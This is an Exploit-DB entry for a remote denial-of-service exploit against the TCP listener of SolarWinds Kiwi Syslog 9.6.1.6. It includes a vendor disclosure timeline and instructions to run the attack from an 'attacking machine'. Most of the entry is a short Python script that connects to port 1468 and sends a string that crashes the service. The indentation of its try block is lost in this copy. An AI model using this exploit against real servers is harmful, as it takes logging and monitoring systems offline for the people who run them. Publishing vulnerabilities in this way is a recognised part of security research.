Solarwinds Kiwi Syslog 9.6.1.6 - Denial of Service

EDB-ID: 42411
Author: Guillaume Kaddouch
Published: 2017-08-01
CVE: N/A
Type: Dos
Platform: Windows
Vulnerable App: Download Vulnerable Application

 # Date: 26/05/2017 
# Exploit Author: Guillaume Kaddouch
# Twitter: @gkweb76
# Blog: https://networkfilter.blogspot.com
# GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.solarwinds.com/
# Software Link: http://downloads.solarwinds.com/solarwinds/Release/Kiwi/Syslog/Kiwi-Syslog-Server-9.6.1-Eval.zip
# Version: 9.6.1.6
# Tested on: Windows 7 SP1 Family x64 (FR) and Windows 8.1 Pro x64
# Category: DoS

"""
Disclosure Timeline:
--------------------
2017-05-20: Vulnerability discovered
2017-05-26: Vendor contacted
2017-05-31: Vendor answered (technical support)
2017-05-31: Vendor contacted (no answer)
2017-08-01: Exploit published


Description :
-------------
A remote Denial of Service exists in Kiwi Syslog 9.6.1.6 in the TCP listener.
Apparently any data sent to it make it crash because of a Type Mismatch error.
The syslog TCP listener is disabled by default.


Instructions:
-------------
- Starts Kiwi Syslog, and enable the TCP listener in the settings, default port is 1468.
- Run this exploit locally or from your remote attacking machine.
"""

#!/usr/bin/python
import socket

host = "10.0.0.56"
port = 1468

buffer = "crash please?"

try:
print "[*] Connecting to %s:%d" % (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print "[*] Sending buffer... (%d bytes)" % len(buffer)
s.send(buffer)
s.close()

print "[*] Done."
except:
print "[-] Error connecting"

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